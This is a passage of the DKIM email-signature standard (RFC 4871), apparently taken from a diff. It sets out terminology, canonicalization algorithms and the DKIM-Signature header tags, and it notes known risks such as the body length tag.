Internet Mail Extensions + (S/MIME) [RFC1847], OpenPGP [RFC2440]) in that: + + o the message signature is written as a message header field so that + neither human recipients nor existing MUA (Mail User Agent) + software is confused by signature-related content appearing in the + message body; + + o there is no dependency on public and private key pairs being + issued by well-known, trusted certificate authorities; + + o there is no dependency on the deployment of any new Internet + protocols or services for public key distribution or revocation; + + o signature verification failure does not force rejection of the + message; + + o no attempt is made to include encryption as part of the mechanism; + + o message archiving is not a design goal. + + DKIM: + + o is compatible with the existing email infrastructure and + transparent to the fullest extent possible; + + o requires minimal new infrastructure; + + o can be implemented independently of clients in order to reduce + deployment time; + + o can be deployed incrementally; + + o allows delegation of signing to third parties. + + + + + + +Allman, et al. Standards Track [Page 4] + +RFC 4871 DKIM Signatures May 2007 + + +1.1. Signing Identity + + DKIM separates the question of the identity of the signer of the + message from the purported author of the message. In particular, a + signature includes the identity of the signer. Verifiers can use the + signing information to decide how they want to process the message. + The signing identity is included as part of the signature header + field. + + INFORMATIVE RATIONALE: The signing identity specified by a DKIM + signature is not required to match an address in any particular + header field because of the broad methods of interpretation by + recipient mail systems, including MUAs. + +1.2. Scalability + + DKIM is designed to support the extreme scalability requirements that + characterize the email identification problem. There are currently + over 70 million domains and a much larger number of individual + addresses. DKIM seeks to preserve the positive aspects of the + current email infrastructure, such as the ability for anyone to + communicate with anyone else without introduction. + +1.3. Simple Key Management + + DKIM differs from traditional hierarchical public-key systems in that + no Certificate Authority infrastructure is required; the verifier + requests the public key from a repository in the domain of the + claimed signer directly rather than from a third party. + + The DNS is proposed as the initial mechanism for the public keys. + Thus, DKIM currently depends on DNS administration and the security + of the DNS system. DKIM is designed to be extensible to other key + fetching services as they become available. + +2. Terminology and Definitions + + This section defines terms used in the rest of the document. Syntax + descriptions use the form described in Augmented BNF for Syntax + Specifications [RFC4234]. + + The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", + "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this + document are to be interpreted as described in [RFC2119]. + + + + + + + +Allman, et al. Standards Track [Page 5] + +RFC 4871 DKIM Signatures May 2007 + + +2.1. Signers + + Elements in the mail system that sign messages on behalf of a domain + are referred to as signers. These may be MUAs (Mail User Agents), + MSAs (Mail Submission Agents), MTAs (Mail Transfer Agents), or other + agents such as mailing list exploders. In general, any signer will + be involved in the injection of a message into the message system in + some way. The key issue is that a message must be signed before it + leaves the administrative domain of the signer. + +2.2. Verifiers + + Elements in the mail system that verify signatures are referred to as + verifiers. These may be MTAs, Mail Delivery Agents (MDAs), or MUAs. + In most cases it is expected that verifiers will be close to an end + user (reader) of the message or some consuming agent such as a + mailing list exploder. + +2.3. Whitespace + + There are three forms of whitespace: + + o WSP represents simple whitespace, i.e., a space or a tab character + (formal definition in [RFC4234]). + + o LWSP is linear whitespace, defined as WSP plus CRLF (formal + definition in [RFC4234]). + + o FWS is folding whitespace. It allows multiple lines separated by + CRLF followed by at least one whitespace, to be joined. + + The formal ABNF for these are (WSP and LWSP are given for information + only): + + WSP = SP / HTAB + LWSP = *(WSP / CRLF WSP) + FWS = [*WSP CRLF] 1*WSP + + The definition of FWS is identical to that in [RFC2822] except for + the exclusion of obs-FWS. + +2.4. Common ABNF Tokens + + The following ABNF tokens are used elsewhere in this document: + hyphenated-word = ALPHA [ *(ALPHA / DIGIT / "-") (ALPHA / DIGIT) ] + base64string = 1*(ALPHA / DIGIT / "+" / "/" / [FWS]) + [ "=" [FWS] [ "=" [FWS] ] ] + + + + +Allman, et al. Standards Track [Page 6] + +RFC 4871 DKIM Signatures May 2007 + + +2.5. Imported ABNF Tokens + + The following tokens are imported from other RFCs as noted. Those + RFCs should be considered definitive. + + The following tokens are imported from [RFC2821]: + + o "Local-part" (implementation warning: this permits quoted strings) + + o "sub-domain" + + The following tokens are imported from [RFC2822]: + + o "field-name" (name of a header field) + + o "dot-atom-text" (in the Local-part of an email address) + + The following tokens are imported from [RFC2045]: + + o "qp-section" (a single line of quoted-printable-encoded text) + + o "hex-octet" (a quoted-printable encoded octet) + + INFORMATIVE NOTE: Be aware that the ABNF in RFC 2045 does not obey + the rules of RFC 4234 and must be interpreted accordingly, + particularly as regards case folding. + + Other tokens not defined herein are imported from [RFC4234]. These + are intuitive primitives such as SP, HTAB, WSP, ALPHA, DIGIT, CRLF, + etc. + +2.6. DKIM-Quoted-Printable + + The DKIM-Quoted-Printable encoding syntax resembles that described in + Quoted-Printable [RFC2045], Section 6.7: any character MAY be encoded + as an "=" followed by two hexadecimal digits from the alphabet + "0123456789ABCDEF" (no lowercase characters permitted) representing + the hexadecimal-encoded integer value of that character. All control + characters (those with values < %x20), 8-bit characters (values > + %x7F), and the characters DEL (%x7F), SPACE (%x20), and semicolon + (";", %x3B) MUST be encoded. Note that all whitespace, including + SPACE, CR, and LF characters, MUST be encoded. After encoding, FWS + MAY be added at arbitrary locations in order to avoid excessively + long lines; such whitespace is NOT part of the value, and MUST be + removed before decoding. + + + + + + +Allman, et al. Standards Track [Page 7] + +RFC 4871 DKIM Signatures May 2007 + + + ABNF: + + dkim-quoted-printable = + *(FWS / hex-octet / dkim-safe-char) + ; hex-octet is from RFC 2045 + dkim-safe-char = %x21-3A / %x3C / %x3E-7E + ; '!' - ':', '<', '>' - '~' + ; Characters not listed as "mail-safe" in + ; RFC 2049 are also not recommended. + + INFORMATIVE NOTE: DKIM-Quoted-Printable differs from Quoted- + Printable as defined in RFC 2045 in several important ways: + + 1. Whitespace in the input text, including CR and LF, must be + encoded. RFC 2045 does not require such encoding, and does + not permit encoding of CR or LF characters that are part of a + CRLF line break. + + 2. Whitespace in the encoded text is ignored. This is to allow + tags encoded using DKIM-Quoted-Printable to be wrapped as + needed. In particular, RFC 2045 requires that line breaks in + the input be represented as physical line breaks; that is not + the case here. + + 3. The "soft line break" syntax ("=" as the last non-whitespace + character on the line) does not apply. + + 4. DKIM-Quoted-Printable does not require that encoded lines be + no more than 76 characters long (although there may be other + requirements depending on the context in which the encoded + text is being used). + +3. Protocol Elements + + Protocol Elements are conceptual parts of the protocol that are not + specific to either signers or verifiers. The protocol descriptions + for signers and verifiers are described in later sections (Signer + Actions (Section 5) and Verifier Actions (Section 6)). NOTE: This + section must be read in the context of those sections. + +3.1. Selectors + + To support multiple concurrent public keys per signing domain, the + key namespace is subdivided using "selectors". For example, + selectors might indicate the names of office locations (e.g., + "sanfrancisco", "coolumbeach", and "reykjavik"), the signing date + (e.g., "january2005", "february2005", etc.), or even the individual + user. + + + +Allman, et al. Standards Track [Page 8] + +RFC 4871 DKIM Signatures May 2007 + + + Selectors are needed to support some important use cases. For + example: + + o Domains that want to delegate signing capability for a specific + address for a given duration to a partner, such as an advertising + provider or other outsourced function. + + o Domains that want to allow frequent travelers to send messages + locally without the need to connect with a particular MSA. + + o "Affinity" domains (e.g., college alumni associations) that + provide forwarding of incoming mail, but that do not operate a + mail submission agent for outgoing mail. + + Periods are allowed in selectors and are component separators. When + keys are retrieved from the DNS, periods in selectors define DNS + label boundaries in a manner similar to the conventional use in + domain names. Selector components might be used to combine dates + with locations, for example, "march2005.reykjavik". In a DNS + implementation, this can be used to allow delegation of a portion of + the selector namespace. + + ABNF: + + selector = sub-domain *( "." sub-domain ) + + The number of public keys and corresponding selectors for each domain + is determined by the domain owner. Many domain owners will be + satisfied with just one selector, whereas administratively + distributed organizations may choose to manage disparate selectors + and key pairs in different regions or on different email servers. + + Beyond administrative convenience, selectors make it possible to + seamlessly replace public keys on a routine basis. If a domain + wishes to change from using a public key associated with selector + "january2005" to a public key associated with selector + "february2005", it merely makes sure that both public keys are + advertised in the public-key repository concurrently for the + transition period during which email may be in transit prior to + verification. At the start of the transition period, the outbound + email servers are configured to sign with the "february2005" private + key. At the end of the transition period, the "january2005" public + key is removed from the public-key repository. + + INFORMATIVE NOTE: A key may also be revoked as described below. + The distinction between revoking and removing a key selector + record is subtle. When phasing out keys as described above, a + signing domain would probably simply remove the key record after + + + +Allman, et al. Standards Track [Page 9] + +RFC 4871 DKIM Signatures May 2007 + + + the transition period. However, a signing domain could elect to + revoke the key (but maintain the key record) for a further period. + There is no defined semantic difference between a revoked key and + a removed key. + + While some domains may wish to make selector values well known, + others will want to take care not to allocate selector names in a way + that allows harvesting of data by outside parties. For example, if + per-user keys are issued, the domain owner will need to make the + decision as to whether to associate this selector directly with the + user name, or make it some unassociated random value, such as a + fingerprint of the public key. + + INFORMATIVE OPERATIONS NOTE: Reusing a selector with a new key + (for example, changing the key associated with a user's name) + makes it impossible to tell the difference between a message that + didn't verify because the key is no longer valid versus a message + that is actually forged. For this reason, signers are ill-advised + to reuse selectors for new keys. A better strategy is to assign + new keys to new selectors. + +3.2. Tag=Value Lists + + DKIM uses a simple "tag=value" syntax in several contexts, including + in messages and domain signature records. + + Values are a series of strings containing either plain text, "base64" + text (as defined in [RFC2045], Section 6.8), "qp-section" (ibid, + Section 6.7), or "dkim-quoted-printable" (as defined in Section 2.6). + The name of the tag will determine the encoding of each value. + Unencoded semicolon (";") characters MUST NOT occur in the tag value, + since that separates tag-specs. + + INFORMATIVE IMPLEMENTATION NOTE: Although the "plain text" defined + below (as "tag-value") only includes 7-bit characters, an + implementation that wished to anticipate future standards would be + advised not to preclude the use of UTF8-encoded text in tag=value + lists. + + + + + + + + + + + + + +Allman, et al. Standards Track [Page 10] + +RFC 4871 DKIM Signatures May 2007 + + + Formally, the syntax rules are as follows: + + tag-list = tag-spec 0*( ";" tag-spec ) [ ";" ] + tag-spec = [FWS] tag-name [FWS] "=" [FWS] tag-value [FWS] + tag-name = ALPHA 0*ALNUMPUNC + tag-value = [ tval 0*( 1*(WSP / FWS) tval ) ] + ; WSP and FWS prohibited at beginning and end + tval = 1*VALCHAR + VALCHAR = %x21-3A / %x3C-7E + ; EXCLAMATION to TILDE except SEMICOLON + ALNUMPUNC = ALPHA / DIGIT / "_" + + Note that WSP is allowed anywhere around tags. In particular, any + WSP after the "=" and any WSP before the terminating ";" is not part + of the value; however, WSP inside the value is significant. + + Tags MUST be interpreted in a case-sensitive manner. Values MUST be + processed as case sensitive unless the specific tag description of + semantics specifies case insensitivity. + + Tags with duplicate names MUST NOT occur within a single tag-list; if + a tag name does occur more than once, the entire tag-list is invalid. + + Whitespace within a value MUST be retained unless explicitly excluded + by the specific tag description. + + Tag=value pairs that represent the default value MAY be included to + aid legibility. + + Unrecognized tags MUST be ignored. + + Tags that have an empty value are not the same as omitted tags. An + omitted tag is treated as having the default value; a tag with an + empty value explicitly designates the empty string as the value. For + example, "g=" does not mean "g=*", even though "g=*" is the default + for that tag. + +3.3. Signing and Verification Algorithms + + DKIM supports multiple digital signature algorithms. Two algorithms + are defined by this specification at this time: rsa-sha1 and rsa- + sha256. The rsa-sha256 algorithm is the default if no algorithm is + specified. Verifiers MUST implement both rsa-sha1 and rsa-sha256. + Signers MUST implement and SHOULD sign using rsa-sha256. + + + + + + + +Allman, et al. Standards Track [Page 11] + +RFC 4871 DKIM Signatures May 2007 + + + INFORMATIVE NOTE: Although sha256 is strongly encouraged, some + senders of low-security messages (such as routine newsletters) may + prefer to use sha1 because of reduced CPU requirements to compute + a sha1 hash. In general, sha256 should always be used whenever + possible. + +3.3.1. The rsa-sha1 Signing Algorithm + + The rsa-sha1 Signing Algorithm computes a message hash as described + in Section 3.7 below using SHA-1 [FIPS.180-2.2002] as the hash-alg. + That hash is then signed by the signer using the RSA algorithm + (defined in PKCS#1 version 1.5 [RFC3447]) as the crypt-alg and the + signer's private key. The hash MUST NOT be truncated or converted + into any form other than the native binary form before being signed. + The signing algorithm SHOULD use a public exponent of 65537. + +3.3.2. The rsa-sha256 Signing Algorithm + + The rsa-sha256 Signing Algorithm computes a message hash as described + in Section 3.7 below using SHA-256 [FIPS.180-2.2002] as the hash-alg. + That hash is then signed by the signer using the RSA algorithm + (defined in PKCS#1 version 1.5 [RFC3447]) as the crypt-alg and the + signer's private key. The hash MUST NOT be truncated or converted + into any form other than the native binary form before being signed. + +3.3.3. Key Sizes + + Selecting appropriate key sizes is a trade-off between cost, + performance, and risk. Since short RSA keys more easily succumb to + off-line attacks, signers MUST use RSA keys of at least 1024 bits for + long-lived keys. Verifiers MUST be able to validate signatures with + keys ranging from 512 bits to 2048 bits, and they MAY be able to + validate signatures with larger keys. Verifier policies may use the + length of the signing key as one metric for determining whether a + signature is acceptable. + + Factors that should influence the key size choice include the + following: + + o The practical constraint that large (e.g., 4096 bit) keys may not + fit within a 512-byte DNS UDP response packet + + o The security constraint that keys smaller than 1024 bits are + subject to off-line attacks + + o Larger keys impose higher CPU costs to verify and sign email + + + + + +Allman, et al. Standards Track [Page 12] + +RFC 4871 DKIM Signatures May 2007 + + + o Keys can be replaced on a regular basis, thus their lifetime can + be relatively short + + o The security goals of this specification are modest compared to + typical goals of other systems that employ digital signatures + + See [RFC3766] for further discussion on selecting key sizes. + +3.3.4. Other Algorithms + + Other algorithms MAY be defined in the future. Verifiers MUST ignore + any signatures using algorithms that they do not implement. + +3.4. Canonicalization + + Empirical evidence demonstrates that some mail servers and relay + systems modify email in transit, potentially invalidating a + signature. There are two competing perspectives on such + modifications. For most signers, mild modification of email is + immaterial to the authentication status of the email. For such + signers, a canonicalization algorithm that survives modest in-transit + modification is preferred. + + Other signers demand that any modification of the email, however + minor, result in a signature verification failure. These signers + prefer a canonicalization algorithm that does not tolerate in-transit + modification of the signed email. + + Some signers may be willing to accept modifications to header fields + that are within the bounds of email standards such as [RFC2822], but + are unwilling to accept any modification to the body of messages. + + To satisfy all requirements, two canonicalization algorithms are + defined for each of the header and the body: a "simple" algorithm + that tolerates almost no modification and a "relaxed" algorithm that + tolerates common modifications such as whitespace replacement and + header field line rewrapping. A signer MAY specify either algorithm + for header or body when signing an email. If no canonicalization + algorithm is specified by the signer, the "simple" algorithm defaults + for both header and body. Verifiers MUST implement both + canonicalization algorithms. Note that the header and body may use + different canonicalization algorithms. Further canonicalization + algorithms MAY be defined in the future; verifiers MUST ignore any + signatures that use unrecognized canonicalization algorithms. + + Canonicalization simply prepares the email for presentation to the + signing or verification algorithm. It MUST NOT change the + + + + +Allman, et al. Standards Track [Page 13] + +RFC 4871 DKIM Signatures May 2007 + + + transmitted data in any way. Canonicalization of header fields and + body are described below. + + NOTE: This section assumes that the message is already in "network + normal" format (text is ASCII encoded, lines are separated with CRLF + characters, etc.). See also Section 5.3 for information about + normalizing the message. + +3.4.1. The "simple" Header Canonicalization Algorithm + + The "simple" header canonicalization algorithm does not change header + fields in any way. Header fields MUST be presented to the signing or + verification algorithm exactly as they are in the message being + signed or verified. In particular, header field names MUST NOT be + case folded and whitespace MUST NOT be changed. + +3.4.2. The "relaxed" Header Canonicalization Algorithm + + The "relaxed" header canonicalization algorithm MUST apply the + following steps in order: + + o Convert all header field names (not the header field values) to + lowercase. For example, convert "SUBJect: AbC" to "subject: AbC". + + o Unfold all header field continuation lines as described in + [RFC2822]; in particular, lines with terminators embedded in + continued header field values (that is, CRLF sequences followed by + WSP) MUST be interpreted without the CRLF. Implementations MUST + NOT remove the CRLF at the end of the header field value. + + o Convert all sequences of one or more WSP characters to a single SP + character. WSP characters here include those before and after a + line folding boundary. + + o Delete all WSP characters at the end of each unfolded header field + value. + + o Delete any WSP characters remaining before and after the colon + separating the header field name from the header field value. The + colon separator MUST be retained. + +3.4.3. The "simple" Body Canonicalization Algorithm + + The "simple" body canonicalization algorithm ignores all empty lines + at the end of the message body. An empty line is a line of zero + length after removal of the line terminator. If there is no body or + no trailing CRLF on the message body, a CRLF is added. It makes no + + + + +Allman, et al. Standards Track [Page 14] + +RFC 4871 DKIM Signatures May 2007 + + + other changes to the message body. In more formal terms, the + "simple" body canonicalization algorithm converts "0*CRLF" at the end + of the body to a single "CRLF". + + Note that a completely empty or missing body is canonicalized as a + single "CRLF"; that is, the canonicalized length will be 2 octets. + +3.4.4. The "relaxed" Body Canonicalization Algorithm + + The "relaxed" body canonicalization algorithm: + + o Ignores all whitespace at the end of lines. Implementations MUST + NOT remove the CRLF at the end of the line. + + o Reduces all sequences of WSP within a line to a single SP + character. + + o Ignores all empty lines at the end of the message body. "Empty + line" is defined in Section 3.4.3. + + INFORMATIVE NOTE: It should be noted that the relaxed body + canonicalization algorithm may enable certain types of extremely + crude "ASCII Art" attacks where a message may be conveyed by + adjusting the spacing between words. If this is a concern, the + "simple" body canonicalization algorithm should be used instead. + +3.4.5. Body Length Limits + + A body length count MAY be specified to limit the signature + calculation to an initial prefix of the body text, measured in + octets. If the body length count is not specified, the entire + message body is signed. + + INFORMATIVE RATIONALE: This capability is provided because it is + very common for mailing lists to add trailers to messages (e.g., + instructions how to get off the list). Until those messages are + also signed, the body length count is a useful tool for the + verifier since it may as a matter of policy accept messages having + valid signatures with extraneous data. + + INFORMATIVE IMPLEMENTATION NOTE: Using body length limits enables + an attack in which an attacker modifies a message to include + content that solely benefits the attacker. It is possible for the + appended content to completely replace the original content in the + end recipient's eyes and to defeat duplicate message detection + algorithms. To avoid this attack, signers should be wary of using + + + + + +Allman, et al. Standards Track [Page 15] + +RFC 4871 DKIM Signatures May 2007 + + + this tag, and verifiers might wish to ignore the tag or remove + text that appears after the specified content length, perhaps + based on other criteria. + + The body length count allows the signer of a message to permit data + to be appended to the end of the body of a signed message. The body + length count MUST be calculated following the canonicalization + algorithm; for example, any whitespace ignored by a canonicalization + algorithm is not included as part of the body length count. Signers + of MIME messages that include a body length count SHOULD be sure that + the length extends to the closing MIME boundary string. + + INFORMATIVE IMPLEMENTATION NOTE: A signer wishing to ensure that + the only acceptable modifications are to add to the MIME postlude + would use a body length count encompassing the entire final MIME + boundary string, including the final "--CRLF". A signer wishing + to allow additional MIME parts but not modification of existing + parts would use a body length count extending through the final + MIME boundary string, omitting the final "--CRLF". Note that this + only works for some MIME types, e.g., multipart/mixed but not + multipart/signed. + + A body length count of zero means that the body is completely + unsigned. + + Signers wishing to ensure that no modification of any sort can occur + should specify the "simple" canonicalization algorithm for both + header and body and omit the body length count. + +3.4.6. Canonicalization Examples (INFORMATIVE) + + In the following examples, actual whitespace is used only for + clarity. The actual input and output text is designated using + bracketed descriptors: "" for a space character, "" for a + tab character, and "" for a carriage-return/line-feed sequence. + For example, "X Y" and "XY" represent the same three + characters. + + Example 1: A message reading: + + A: X + B : Y + Z + + C + D E + + + + + +Allman, et al. Standards Track [Page 16] + +RFC 4871 DKIM Signatures May 2007 + + + when canonicalized using relaxed canonicalization for both header and + body results in a header reading: + + a:X + b:Y Z + + and a body reading: + + C + D E + + Example 2: The same message canonicalized using simple + canonicalization for both header and body results in a header + reading: + + A: X + B : Y + Z + + and a body reading: + + C + D E + + Example 3: When processed using relaxed header canonicalization and + simple body canonicalization, the canonicalized version has a header + of: + + a:X + b:Y Z + + and a body reading: + + C + D E + +3.5. The DKIM-Signature Header Field + + The signature of the email is stored in the DKIM-Signature header + field. This header field contains all of the signature and key- + fetching data. The DKIM-Signature value is a tag-list as described + in Section 3.2. + + The DKIM-Signature header field SHOULD be treated as though it were a + trace header field as defined in Section 3.6 of [RFC2822], and hence + SHOULD NOT be reordered and SHOULD be prepended to the message. + + + + + +Allman, et al. Standards Track [Page 17] + +RFC 4871 DKIM Signatures May 2007 + + + The DKIM-Signature header field being created or verified is always + included in the signature calculation, after the rest of the header + fields being signed; however, when calculating or verifying the + signature, the value of the "b=" tag (signature value) of that DKIM- + Signature header field MUST be treated as though it were an empty + string. Unknown tags in the DKIM-Signature header field MUST be + included in the signature calculation but MUST be otherwise ignored + by verifiers. Other DKIM-Signature header fields that are included + in the signature should be treated as normal header fields; in + particular, the "b=" tag is not treated specially. + + The encodings for each field type are listed below. Tags described + as qp-section are encoded as described in Section 6.7 of MIME Part + One [RFC2045], with the additional conversion of semicolon characters + to "=3B"; intuitively, this is one line of quoted-printable encoded + text. The dkim-quoted-printable syntax is defined in Section 2.6. + + Tags on the DKIM-Signature header field along with their type and + requirement status are shown below. Unrecognized tags MUST be + ignored. + + v= Version (MUST be included). This tag defines the version of this + specification that applies to the signature record. It MUST have + the value "1". Note that verifiers must do a string comparison + on this value; for example, "1" is not the same as "1.0". + + ABNF: + + sig-v-tag = %x76 [FWS] "=" [FWS] "1" + + INFORMATIVE NOTE: DKIM-Signature version numbers are expected + to increase arithmetically as new versions of this + specification are released. + + a= The algorithm used to generate the signature (plain-text; + REQUIRED). Verifiers MUST support "rsa-sha1" and "rsa-sha256"; + signers SHOULD sign using "rsa-sha256". See Section 3.3 for a + description of algorithms. + + ABNF: + + sig-a-tag = %x61 [FWS] "=" [FWS] sig-a-tag-alg + sig-a-tag-alg = sig-a-tag-k "-" sig-a-tag-h + sig-a-tag-k = "rsa" / x-sig-a-tag-k + sig-a-tag-h = "sha1" / "sha256" / x-sig-a-tag-h + x-sig-a-tag-k = ALPHA *(ALPHA / DIGIT) ; for later extension + x-sig-a-tag-h = ALPHA *(ALPHA / DIGIT) ; for later extension + + + + +Allman, et al. Standards Track [Page 18] + +RFC 4871 DKIM Signatures May 2007 + + + b= The signature data (base64; REQUIRED). Whitespace is ignored in + this value and MUST be ignored when reassembling the original + signature. In particular, the signing process can safely insert + FWS in this value in arbitrary places to conform to line-length + limits. See Signer Actions (Section 5) for how the signature is + computed. + + ABNF: + + sig-b-tag = %x62 [FWS] "=" [FWS] sig-b-tag-data + sig-b-tag-data = base64string + + bh= The hash of the canonicalized body part of the message as limited + by the "l=" tag (base64; REQUIRED). Whitespace is ignored in + this value and MUST be ignored when reassembling the original + signature. In particular, the signing process can safely insert + FWS in this value in arbitrary places to conform to line-length + limits. See Section 3.7 for how the body hash is computed. + + ABNF: + + sig-bh-tag = %x62 %x68 [FWS] "=" [FWS] sig-bh-tag-data + sig-bh-tag-data = base64string + + c= Message canonicalization (plain-text; OPTIONAL, default is + "simple/simple"). This tag informs the verifier of the type of + canonicalization used to prepare the message for signing. It + consists of two names separated by a "slash" (%d47) character, + corresponding to the header and body canonicalization algorithms + respectively. These algorithms are described in Section 3.4. If + only one algorithm is named, that algorithm is used for the + header and "simple" is used for the body. For example, + "c=relaxed" is treated the same as "c=relaxed/simple". + + ABNF: + + sig-c-tag = %x63 [FWS] "=" [FWS] sig-c-tag-alg + ["/" sig-c-tag-alg] + sig-c-tag-alg = "simple" / "relaxed" / x-sig-c-tag-alg + x-sig-c-tag-alg = hyphenated-word ; for later extension + + d= The domain of the signing entity (plain-text; REQUIRED). This is + the domain that will be queried for the public key. This domain + MUST be the same as or a parent domain of the "i=" tag (the + signing identity, as described below), or it MUST meet the + requirements for parent domain signing described in Section 3.8. + When presented with a signature that does not meet these + requirement, verifiers MUST consider the signature invalid. + + + +Allman, et al. Standards Track [Page 19] + +RFC 4871 DKIM Signatures May 2007 + + + Internationalized domain names MUST be encoded as described in + [RFC3490]. + + ABNF: + + sig-d-tag = %x64 [FWS] "=" [FWS] domain-name + domain-name = sub-domain 1*("." sub-domain) + ; from RFC 2821 Domain, but excluding address-literal + + h= Signed header fields (plain-text, but see description; REQUIRED). + A colon-separated list of header field names that identify the + header fields presented to the signing algorithm. The field MUST + contain the complete list of header fields in the order presented + to the signing algorithm. The field MAY contain names of header + fields that do not exist when signed; nonexistent header fields + do not contribute to the signature computation (that is, they are + treated as the null input, including the header field name, the + separating colon, the header field value, and any CRLF + terminator). The field MUST NOT include the DKIM-Signature + header field that is being created or verified, but may include + others. Folding whitespace (FWS) MAY be included on either side + of the colon separator. Header field names MUST be compared + against actual header field names in a case-insensitive manner. + This list MUST NOT be empty. See Section 5.4 for a discussion of + choosing header fields to sign. + + ABNF: + + sig-h-tag = %x68 [FWS] "=" [FWS] hdr-name + 0*( *FWS ":" *FWS hdr-name ) + hdr-name = field-name + + INFORMATIVE EXPLANATION: By "signing" header fields that do not + actually exist, a signer can prevent insertion of those + header fields before verification. However, since a signer + cannot possibly know what header fields might be created in + the future, and that some MUAs might present header fields + that are embedded inside a message (e.g., as a message/rfc822 + content type), the security of this solution is not total. + + INFORMATIVE EXPLANATION: The exclusion of the header field name + and colon as well as the header field value for non-existent + header fields prevents an attacker from inserting an actual + header field with a null value. + + + + + + + +Allman, et al. Standards Track [Page 20] + +RFC 4871 DKIM Signatures May 2007 + + + i= Identity of the user or agent (e.g., a mailing list manager) on + behalf of which this message is signed (dkim-quoted-printable; + OPTIONAL, default is an empty Local-part followed by an "@" + followed by the domain from the "d=" tag). The syntax is a + standard email address where the Local-part MAY be omitted. The + domain part of the address MUST be the same as or a subdomain of + the value of the "d=" tag. + + Internationalized domain names MUST be converted using the steps + listed in Section 4 of [RFC3490] using the "ToASCII" function. + + ABNF: + + sig-i-tag = %x69 [FWS] "=" [FWS] [ Local-part ] "@" domain-name + + INFORMATIVE NOTE: The Local-part of the "i=" tag is optional + because in some cases a signer may not be able to establish a + verified individual identity. In such cases, the signer may + wish to assert that although it is willing to go as far as + signing for the domain, it is unable or unwilling to commit + to an individual user name within their domain. It can do so + by including the domain part but not the Local-part of the + identity. + + INFORMATIVE DISCUSSION: This document does not require the value + of the "i=" tag to match the identity in any message header + fields. This is considered to be a verifier policy issue. + Constraints between the value of the "i=" tag and other + identities in other header fields seek to apply basic + authentication into the semantics of trust associated with a + role such as content author. Trust is a broad and complex + topic and trust mechanisms are subject to highly creative + attacks. The real-world efficacy of any but the most basic + bindings between the "i=" value and other identities is not + well established, nor is its vulnerability to subversion by + an attacker. Hence reliance on the use of these options + should be strictly limited. In particular, it is not at all + clear to what extent a typical end-user recipient can rely on + any assurances that might be made by successful use of the + "i=" options. + + l= Body length count (plain-text unsigned decimal integer; OPTIONAL, + default is entire body). This tag informs the verifier of the + number of octets in the body of the email after canonicalization + included in the cryptographic hash, starting from 0 immediately + following the CRLF preceding the body. This value MUST NOT be + larger than the actual number of octets in the canonicalized + message body. + + + +Allman, et al. Standards Track [Page 21] + +RFC 4871 DKIM Signatures May 2007 + + + INFORMATIVE IMPLEMENTATION WARNING: Use of the "l=" tag might + allow display of fraudulent content without appropriate + warning to end users. The "l=" tag is intended for + increasing signature robustness when sending to mailing lists + that both modify their content and do not sign their + messages. However, using the "l=" tag enables attacks in + which an intermediary with malicious intent modifies a + message to include content that solely benefits the attacker. + It is possible for the appended content to completely replace + the original content in the end recipient's eyes and to + defeat duplicate message detection algorithms. Examples are + described in Security Considerations (Section 8). To avoid + this attack, signers should be extremely wary of using this + tag, and verifiers might wish to ignore the tag or remove + text that appears after the specified content length. + + INFORMATIVE NOTE: The value of the "l=" tag is constrained to 76 + decimal digits. This constraint is not intended to predict + the size of future messages or to require implementations to + use an integer representation large enough to represent the + maximum possible value, but is intended to remind the + implementer to check the length of this and all other tags + during verification and to test for integer overflow when + decoding the value. Implementers may need to limit the + actual value expressed to a value smaller than 10^76, e.g., + to allow a message to fit within the available storage space. + + ABNF: + + sig-l-tag = %x6c [FWS] "=" [FWS] 1*76DIGIT + + q= A colon-separated list of query methods used to retrieve the + public key (plain-text; OPTIONAL, default is "dns/txt"). Each + query method is of the form "type[/options]", where the syntax + and semantics of the options depend on the type and specified + options. If there are multiple query mechanisms listed, the + choice of query mechanism MUST NOT change the interpretation of + the signature. Implementations MUST use the recognized query + mechanisms in the order presented. + + Currently, the only valid value is "dns/txt", which defines the DNS + TXT record lookup algorithm described elsewhere in this document. + The only option defined for the "dns" query type is "txt", which + MUST be included. Verifiers and signers MUST support "dns/txt". + + + + + + + +Allman, et al. Standards Track [Page 22] + +RFC 4871 DKIM Signatures May 2007 + + + ABNF: + + sig-q-tag = %x71 [FWS] "=" [FWS] sig-q-tag-method + *([FWS] ":" [FWS] sig-q-tag-method) + sig-q-tag-method = "dns/txt" / x-sig-q-tag-type + ["/" x-sig-q-tag-args] + x-sig-q-tag-type = hyphenated-word ; for future extension + x-sig-q-tag-args = qp-hdr-value + + s= The selector subdividing the namespace for the "d=" (domain) tag + (plain-text; REQUIRED). + + ABNF: + + sig-s-tag = %x73 [FWS] "=" [FWS] selector + + t= Signature Timestamp (plain-text unsigned decimal integer; + RECOMMENDED, default is an unknown creation time). The time that + this signature was created. The format is the number of seconds + since 00:00:00 on January 1, 1970 in the UTC time zone. The + value is expressed as an unsigned integer in decimal ASCII. This + value is not constrained to fit into a 31- or 32-bit integer. + Implementations SHOULD be prepared to handle values up to at + least 10^12 (until approximately AD 200,000; this fits into 40 + bits). To avoid denial-of-service attacks, implementations MAY + consider any value longer than 12 digits to be infinite. Leap + seconds are not counted. Implementations MAY ignore signatures + that have a timestamp in the future. + + ABNF: + + sig-t-tag = %x74 [FWS] "=" [FWS] 1*12DIGIT + + x= Signature Expiration (plain-text unsigned decimal integer; + RECOMMENDED, default is no expiration). The format is the same + as in the "t=" tag, represented as an absolute date, not as a + time delta from the signing timestamp. The value is expressed as + an unsigned integer in decimal ASCII, with the same constraints + on the value in the "t=" tag. Signatures MAY be considered + invalid if the verification time at the verifier is past the + expiration date. The verification time should be the time that + the message was first received at the administrative domain of + the verifier if that time is reliably available; otherwise the + current time should be used. The value of the "x=" tag MUST be + greater than the value of the "t=" tag if both are present. + + + + + + +Allman, et al. Standards Track [Page 23] + +RFC 4871 DKIM Signatures May 2007 + + + INFORMATIVE NOTE: The "x=" tag is not intended as an anti-replay + defense. + + ABNF: + + sig-x-tag = %x78 [FWS] "=" [FWS] 1*12DIGIT + + z= Copied header fields (dkim-quoted-printable, but see description; + OPTIONAL, default is null). A vertical-bar-separated list of + selected header fields present when the message was signed, + including both the field name and value. It is not required to + include all header fields present at the time of signing. This + field need not contain the same header fields listed in the "h=" + tag. The header field text itself must encode the vertical bar + ("|", %x7C) character (i.e., vertical bars in the "z=" text are + metacharacters, and any actual vertical bar characters in a + copied header field must be encoded). Note that all whitespace + must be encoded, including whitespace between the colon and the + header field value. After encoding, FWS MAY be added at + arbitrary locations in 